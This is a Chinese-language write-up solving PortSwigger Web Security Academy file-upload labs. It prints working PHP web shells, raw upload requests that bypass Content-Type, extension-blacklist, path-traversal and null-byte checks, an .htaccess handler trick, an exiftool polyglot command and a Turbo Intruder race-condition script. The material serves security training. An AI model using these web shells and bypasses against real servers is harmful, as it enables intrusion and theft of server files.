Burp Web Academy 文件上传漏洞

0x01. PortSwigger Web Security Academy

PortSwigger Web Security Academy 是 Burp Suite 官方推出的免费 Web 安全学习靶场,在学习 Web 安全知识的同时,还可以练习 Burp Suite 的实战技能。

本篇文章讲解 Web Security Academy 之中的文件上传漏洞(File Upload Vulnerabilities)章节。

0x02. 文件上传漏洞

2.1 Lab: Remote code execution via web shell upload

This lab contains a vulnerable image upload function. It doesn’t perform any validation on the files users upload before storing them on the server’s filesystem.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

登陆后可以上传头像,上传一个 PHP 文件:

1
<?php echo file_get_contents('/home/carlos/secret');?>

或者上传更灵活的 PHP 代码:

1
<?php echo file_get_contents($_GET['file']);?>

访问 /files/avatars/webshell.php?file=/home/carlos/secret 即可得到答案。

2.2 Lab: Web shell upload via Content-Type restriction bypass

This lab contains a vulnerable image upload function. It attempts to prevent users from uploading unexpected file types, but relies on checking user-controllable input to verify this.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

根据提示,校验是通过 POST 请求中的文件类型来操作的,所以可以直接将 application/octet-stream 跟改为 image/jpeg

1
2
3
------WebKitFormBoundaryI7tIECSh3IJ0hdML
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream

访问 /files/avatars/webshell.php?file=/home/carlos/secret 即可得到答案。

2.3 Lab: Web shell upload via path traversal

This lab contains a vulnerable image upload function. The server is configured to prevent execution of user-supplied files, but this restriction can be bypassed by exploiting a secondary vulnerability.

To solve the lab, upload a basic PHP web shell and use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

直接上传 WebShell,但是访问 /files/avatars/webshell.php 时直接返回了 PHP 文件的内容。根据提示,要通过路径穿越来绕过执行限制。

把 POST 请求包中的 filename 修改为 ..%2fwebshell.php 实现路径穿越,之后,访问 /files/webshell.php?file=/home/carlos/secret 读取文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /my-account/avatar HTTP/2
Host: 0a28004f034b15238b5b958a00f5000b.web-security-academy.net
Cookie: session=cuVRxouJgvhR2GOUMP5knExtEhMGffQQ
Content-Length: 473
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a28004f034b15238b5b958a00f5000b.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNbLsb4il7BNOwsAS
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a28004f034b15238b5b958a00f5000b.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundaryNbLsb4il7BNOwsAS
Content-Disposition: form-data; name="avatar"; filename="..%2fwebshell.php"
Content-Type: application/octet-stream

<?php echo file_get_contents($_GET['file']);?>
------WebKitFormBoundaryNbLsb4il7BNOwsAS
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundaryNbLsb4il7BNOwsAS
Content-Disposition: form-data; name="csrf"

BCCMRILKMNkYmB67WytyWfEt2E8QmDn5
------WebKitFormBoundaryNbLsb4il7BNOwsAS--

这道题参考了官方答案,步骤如下:

  1. 先尝试 ../webshell.php,提示 The file avatars/webshell.php has been uploaded,说明 ../ 被清理掉了
  2. 而如果改成 ..%2fwebshell.php,则提示 The file avatars/../webshell.php has been uploaded,说明 ../ 已经传递过去
  3. 正常的头像存放路径是 /files/avatars/webshell.php,因此直接访问 /files/webshell.php 即可

2.4 Lab: Web shell upload via extension blacklist bypass

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed due to a fundamental flaw in the configuration of this blacklist.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

存在扩展名黑名单,问问 Copilot PHP 服务器支持哪些扩展名:

Question: What file extensions are supported by the PHP server?

Answer: When it comes to PHP servers, they usually support a variety of file extensions. The most common ones include:

.php: The standard extension for PHP files.

.php3, .php4, .php5, .php7: Older versions of PHP extensions, typically tied to specific PHP versions.

.phtml: Another alternative extension for PHP files.

.phar: For PHP archive files.

测试发现 .phar 可以绕过黑名单限制,并且可以正常执行 WebShell 代码,然而看提示的时候发现这看起来是一个非预期的解法 :-D

题目本身的解法是:上传 PHP 时 HTTP Response Header 里面 Server: Apache/2.4.41 (Ubuntu) 泄露了服务器的类型和版本。

1
2
3
4
5
6
7
8
9
HTTP/2 403 Forbidden
Date: Fri, 03 Jan 2025 14:19:46 GMT
Server: Apache/2.4.41 (Ubuntu)
Content-Type: text/html; charset=UTF-8
X-Frame-Options: SAMEORIGIN
Content-Length: 164

Sorry, php files are not allowed
Sorry, there was an error uploading your file.<p><a href="/my-account" title="Return to previous page">« Back to My Account</a></p>

首先,上传 .htaccess 文件,注意文件名、文件类型、文件内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /my-account/avatar HTTP/2
Host: 0a5c0008048b255582e11043007c0079.web-security-academy.net
Cookie: session=sHvJkRY1ZZ0o1GfvLFX0eROwOhYcYLLz
Content-Length: 442
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a5c0008048b255582e11043007c0079.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykHmxABBv84aFCzyq
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a5c0008048b255582e11043007c0079.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundarykHmxABBv84aFCzyq
Content-Disposition: form-data; name="avatar"; filename=".htaccess"
Content-Type: text/plain

AddType application/x-httpd-php .l33t
------WebKitFormBoundarykHmxABBv84aFCzyq
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundarykHmxABBv84aFCzyq
Content-Disposition: form-data; name="csrf"

KsGscia1jHufQwXfcEE8po9w9fJcawGG
------WebKitFormBoundarykHmxABBv84aFCzyq--

之后,重新上传 WebShell,但是扩展名改为上面的 .l33t,之后访问 /files/avatars/webshell.l33t?file=/home/carlos/secret 获取文件内容。

2.5 Lab: Web shell upload via obfuscated file extension

This lab contains a vulnerable image upload function. Certain file extensions are blacklisted, but this defense can be bypassed using a classic obfuscation technique.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

题目提示扩展名混淆,尝试 filename="webshell.php%00.png" 实现绕过,这一解法在 Burp Web Academy 路径穿越 中出现过。

2.6 Lab: Remote code execution via polyglot web shell upload

This lab contains a vulnerable image upload function. Although it checks the contents of the file to verify that it is a genuine image, it is still possible to upload and execute server-side code.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

提示会检查是不是真实的图片文件,应该是检查文件内容了,比如 Magic Number 等等。

题目的解法是使用 exiftool 工具来添加 Exif 评论信息:

1
exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" shell.jpg -o shell.php

在 Windows 下,直接通过文件属性来添加,测试效果;

  • 备注:不可行
  • 标题:可行
  • 主题:不可行

2.7 Lab: Web shell upload via race condition

This lab contains a vulnerable image upload function. Although it performs robust validation on any files that are uploaded, it is possible to bypass this validation entirely by exploiting a race condition in the way it processes them.

To solve the lab, upload a basic PHP web shell, then use it to exfiltrate the contents of the file /home/carlos/secret. Submit this secret using the button provided in the lab banner.

You can log in to your own account using the following credentials: wiener:peter

条件竞争漏洞(Race Condition)的利用,看了下题解,后台逻辑可能是:

  1. 上传文件后写入磁盘
  2. 检查文件内容
  3. 不合法则删除,合法则保留

因为不涉及到文件的移动(比如先上传到不可执行的位置,检查通过后再移动到目标位置),所以存在条件竞争问题,即上传之后、删除之前立即访问文件,实现时间窗口内的代码执行。

可以先用 Burp 抓包,然后自己写 Python 来做条件竞争,也可以直接在 Burp 中实现,属于高级功能了 :-D

按照官方 Solution,先从 BApp Store 安装 Turbo Intruder:在 Burp 中切换到 Extender Tab 页,再切换到 BApp Store 子 Tab 页,搜索和安装 Turbo Intruder,然而最新版本的插件并不支持在 burpsuite_pro_v2022.9.jar 安装,提示需要最新的 Burp Suite。尝试去 Releases · PortSwigger/turbo-intruder 下载一个老版本的插件,可以成功安装!

利用步骤:

  1. 上传 WebShell 到头像,产生一个 POST 请求
  2. 访问头像,产生一个 GET 请求(可以先上传一个正常的头像,这样可以知道头像的 URL)
  3. 选中 POST 请求,右键 Extensions > Turbo Intruder > Send to turbo intruder 弹出 Turbo Intruder 窗口

几个需要注意的点:

  1. HTTP Request Header 行之间使用 \r\n 分割
  2. HTTP GET 请求末尾需要有两个 \r\n
  3. HTTP POST 后面 Body 末尾数据保持原样(GET 是 RFC 规范请求头最后一行必须是两个 \r\n,而 POST 末尾已经是发送的数据了)
  4. 如果 Turbo Intruder 发送请求后收到服务器返回 "Protocol error",那么可以试试把 HTTP 协议的版本从 HTTP/2 改为 HTTP/1.1,这里卡了好久,因为 GitHub 下载的 Turbo Intruder 插件是 Aug 21, 2020 发布的,可能和版本太老有关系

完整的 Turbo Intruder 脚本代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=10,)

request1 = r'''POST /my-account/avatar HTTP/1.1
Host: 0a4d004a03ec15708db86be800330041.web-security-academy.net
Cookie: session=m5LlRxm3Uzgb5hbyCQSbVyuvFLgqIps8
Content-Length: 477
Cache-Control: max-age=0
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Origin: https://0a4d004a03ec15708db86be800330041.web-security-academy.net
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary5z9kAG7pwjwBCZgj
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://0a4d004a03ec15708db86be800330041.web-security-academy.net/my-account?id=wiener
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

------WebKitFormBoundary5z9kAG7pwjwBCZgj
Content-Disposition: form-data; name="avatar"; filename="webshell.php"
Content-Type: application/octet-stream

<?php echo file_get_contents('/home/carlos/secret'); ?>
------WebKitFormBoundary5z9kAG7pwjwBCZgj
Content-Disposition: form-data; name="user"

wiener
------WebKitFormBoundary5z9kAG7pwjwBCZgj
Content-Disposition: form-data; name="csrf"

YRZtKoWwF01HHG6gG4lgFLsZk3ZseqCz
------WebKitFormBoundary5z9kAG7pwjwBCZgj--
'''

request2 = r'''GET /files/avatars/webshell.php HTTP/1.1
Host: 0a4d004a03ec15708db86be800330041.web-security-academy.net
Cookie: session=m5LlRxm3Uzgb5hbyCQSbVyuvFLgqIps8
Sec-Ch-Ua: "Chromium";v="105", "Not)A;Brand";v="8"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.5195.102 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9

'''

crlf = '\r\n'
if crlf not in request1:
request1 = request1.replace('\n', crlf)
if crlf not in request2:
request2 = request2.replace('\n', crlf)

# the 'gate' argument blocks the final byte of each request until openGate is invoked
engine.queue(request1, gate='race1')
for x in range(5):
engine.queue(request2, gate='race1')

# wait until every 'race1' tagged request is ready
# then send the final byte of each request
# (this method is non-blocking, just like queue)
engine.openGate('race1')

engine.complete(timeout=60)

def handleResponse(req, interesting):
table.add(req)

Burp Turbo Intruder 插件实现条件竞争

0x03. 小结

  • 如果在上传文件时没有任何限制,则可以直接上传 WebShell
    • 当然,也需要上传后的文件具备可执行权限
  • 修改 Content-Type 绕过文件类型校验
  • 基于 filename 触发漏洞,比如路径穿越漏洞命令注入漏洞等,需要根据实际情况进行额外的绕过(比如 %2f 替代 /
  • 扩展名黑名单可能不全,比如 .php 可以使用 .phar 代替
  • Apache .htaccess 利用,可参考先知社区文章:Apache的.htaccess利用技巧
  • 利用 %00 截断字符串,从而实现扩展名黑名单绕过
  • 使用 exiftool 来为 JPG 图片写入 PHP 代码,PHP 服务器自身的容错性可以使得代码被执行
    • 也可以考虑直接在 Windows 使用资源管理器写入信息,但字段需要自行测试
  • BApp Store 插件安装,以及 Turbo Intruder 实现条件竞争,以及注意事项
    • 注意处理好 GET 和 POST 请求中的 \r\n
    • 如果服务器返回 "Protocol error",可以尝试把 HTTP 协议的版本从 HTTP/2 改为 HTTP/1.1

0x04. 参考文档

  1. https://portswigger.net/web-security/all-labs#file-upload-vulnerabilities
  2. https://xz.aliyun.com/t/8267
  3. https://secdroid.github.io/2025/01/05/burp-suite-turbo-intruder-protocol-error/